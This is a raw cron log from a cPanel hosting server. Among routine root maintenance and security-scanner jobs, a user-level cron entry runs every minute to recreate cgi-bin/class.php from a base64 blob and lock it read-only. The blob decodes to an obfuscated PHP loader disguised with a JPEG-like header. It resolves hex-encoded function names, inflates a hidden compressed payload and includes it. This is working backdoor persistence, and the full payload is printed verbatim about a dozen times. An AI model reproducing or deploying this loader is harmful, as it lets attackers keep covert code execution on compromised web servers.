Sep  4 01:53:01 server CROND[8888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:53:01 server CROND[8895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:54:01 server CROND[9604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:54:01 server CROND[9605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:54:01 server CROND[9606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:55:01 server CROND[10003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:55:01 server CROND[10005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 01:55:01 server CROND[10006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:55:01 server CROND[10008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 01:55:01 server CROND[10010]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 01:55:01 server CROND[10009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:55:01 server CROND[10007]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 01:56:01 server CROND[10853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:56:01 server CROND[10852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:56:01 server CROND[10854]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:57:01 server CROND[11335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:57:01 server CROND[11337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:57:01 server CROND[11336]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 01:57:01 server CROND[11338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:58:01 server CROND[11724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:58:01 server CROND[11725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:58:01 server CROND[11726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 01:59:01 server CROND[12117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 01:59:01 server CROND[12118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 01:59:01 server CROND[12119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:00:01 server CROND[12537]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 02:00:01 server CROND[12538]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 02:00:01 server CROND[12542]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 02:00:01 server CROND[12543]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 02:00:01 server CROND[12546]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:00:01 server CROND[12548]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep  4 02:00:01 server CROND[12547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:00:01 server CROND[12551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:00:01 server CROND[12545]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 02:00:01 server CROND[12550]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 02:00:01 server CROND[12544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 02:01:01 server CROND[13412]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 02:01:01 server CROND[13413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:01:01 server CROND[13416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:01:01 server CROND[13418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:01:01 server run-parts(/etc/cron.hourly)[13412]: starting 0anacron
Sep  4 02:01:01 server anacron[13432]: Anacron started on 2026-09-04
Sep  4 02:01:01 server anacron[13432]: Normal exit (0 jobs run)
Sep  4 02:01:01 server run-parts(/etc/cron.hourly)[13434]: finished 0anacron
Sep  4 02:02:01 server CROND[13898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:02:01 server CROND[13897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:02:01 server CROND[13899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:03:01 server CROND[14297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:03:01 server CROND[14298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 02:03:01 server CROND[14299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:04:01 server CROND[14685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 02:04:01 server CROND[14686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 02:04:01 server CROND[14691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
